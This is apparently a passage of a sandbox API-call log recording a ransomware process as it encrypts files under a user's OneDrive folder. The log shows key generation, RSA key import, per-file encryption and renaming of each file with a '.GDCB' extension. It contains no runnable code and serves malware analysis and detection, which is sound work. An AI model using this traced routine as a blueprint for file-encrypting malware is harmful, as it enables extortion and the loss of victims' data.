phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0219.366] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484940) returned 1 [0219.366] CryptGetKeyParam (in: hKey=0x6484940, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.367] CryptEncrypt (in: hKey=0x6484940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0219.367] GetLastError () returned 0x0 [0219.367] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.367] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_documents.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_documents.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0219.368] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0219.370] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0219.372] ReadFile (in: hFile=0x510, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x5250, lpOverlapped=0x0) returned 1 [0219.380] VirtualAlloc (lpAddress=0x0, dwSize=0x5250, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0219.385] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_documents.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_documents.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_documents.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_documents.svg.gdcb")) returned 1 [0219.390] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0219.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.393] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.393] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0219.393] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0219.393] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0219.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.395] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.395] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0219.395] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0219.395] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0219.397] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484dc0) returned 1 [0219.397] CryptGetKeyParam (in: hKey=0x6484dc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.397] CryptEncrypt (in: hKey=0x6484dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0219.397] GetLastError () returned 0x0 [0219.398] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0219.398] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0219.399] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484fc0) returned 1 [0219.399] CryptGetKeyParam (in: hKey=0x6484fc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.399] CryptEncrypt (in: hKey=0x6484fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0219.399] GetLastError () returned 0x0 [0219.399] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0219.399] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_pictures.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_pictures.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0219.401] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0219.402] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0219.405] ReadFile (in: hFile=0x510, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x3310, lpOverlapped=0x0) returned 1 [0219.412] VirtualAlloc (lpAddress=0x0, dwSize=0x3310, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0219.418] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_pictures.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_pictures.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_pictures.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_pictures.svg.gdcb")) returned 1 [0219.430] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0219.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.433] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.433] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0219.433] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.433] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0219.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.435] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.436] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0219.436] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.436] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0219.438] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484e80) returned 1 [0219.438] CryptGetKeyParam (in: hKey=0x6484e80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.438] CryptEncrypt (in: hKey=0x6484e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0219.438] GetLastError () returned 0x0 [0219.438] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.438] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0219.440] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484f00) returned 1 [0219.440] CryptGetKeyParam (in: hKey=0x6484f00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.440] CryptEncrypt (in: hKey=0x6484f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0219.440] GetLastError () returned 0x0 [0219.440] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0219.440] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFilesDehydrate.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfilesdehydrate.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0219.442] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0219.443] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0219.444] ReadFile (in: hFile=0x510, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x28e0, lpOverlapped=0x0) returned 1 [0219.456] VirtualAlloc (lpAddress=0x0, dwSize=0x28e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0219.464] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFilesDehydrate.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfilesdehydrate.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandFilesDehydrate.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandfilesdehydrate.svg.gdcb")) returned 1 [0219.467] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0219.469] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.470] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.470] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0219.470] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.470] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0219.471] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.472] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0219.472] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0219.473] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0219.474] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484d40) returned 1 [0219.474] CryptGetKeyParam (in: hKey=0x6484d40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.474] CryptEncrypt (in: hKey=0x6484d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0219.475] GetLastError () returned 0x0 [0219.475] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.475] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0219.476] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484a00) returned 1 [0219.476] CryptGetKeyParam (in: hKey=0x6484a00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.476] CryptEncrypt (in: hKey=0x6484a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0219.477] GetLastError () returned 0x0 [0219.477] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.477] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandselectivesync.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0219.478] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0219.479] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0219.480] ReadFile (in: hFile=0x510, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0xc70, lpOverlapped=0x0) returned 1 [0219.498] VirtualAlloc (lpAddress=0x0, dwSize=0xc70, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0219.503] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandselectivesync.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\onDemandSelectiveSync.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\ondemandselectivesync.svg.gdcb")) returned 1 [0219.754] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0219.756] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.757] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.757] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0219.758] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.758] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0219.759] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.760] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.760] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0219.760] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.761] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0219.763] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484c40) returned 1 [0219.763] CryptGetKeyParam (in: hKey=0x6484c40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.763] CryptEncrypt (in: hKey=0x6484c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0219.763] GetLastError () returned 0x0 [0219.763] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.763] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0219.765] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64848c0) returned 1 [0219.765] CryptGetKeyParam (in: hKey=0x64848c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.766] CryptEncrypt (in: hKey=0x64848c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0219.766] GetLastError () returned 0x0 [0219.766] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.766] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-05-24_104601_b30-494.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-05-24_104601_b30-494.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0219.767] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0219.769] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0219.770] ReadFile (in: hFile=0x510, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x7170c, lpOverlapped=0x0) returned 1 [0219.842] VirtualAlloc (lpAddress=0x0, dwSize=0x71710, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0219.858] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-05-24_104601_b30-494.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-05-24_104601_b30-494.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-05-24_104601_b30-494.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-05-24_104601_b30-494.log.gdcb")) returned 1 [0219.861] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0219.863] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.864] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.864] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0219.864] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0219.864] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0219.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0219.867] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0219.867] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0219.867] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.867] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0219.869] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6485000) returned 1 [0219.869] CryptGetKeyParam (in: hKey=0x6485000, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.869] CryptEncrypt (in: hKey=0x6485000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0219.869] GetLastError () returned 0x0 [0219.870] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0219.870] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0219.871] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484900) returned 1 [0219.871] CryptGetKeyParam (in: hKey=0x6484900, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0219.871] CryptEncrypt (in: hKey=0x6484900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0219.872] GetLastError () returned 0x0 [0219.872] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0219.872] CreateFileW (lpFileName="C:\\Documents and 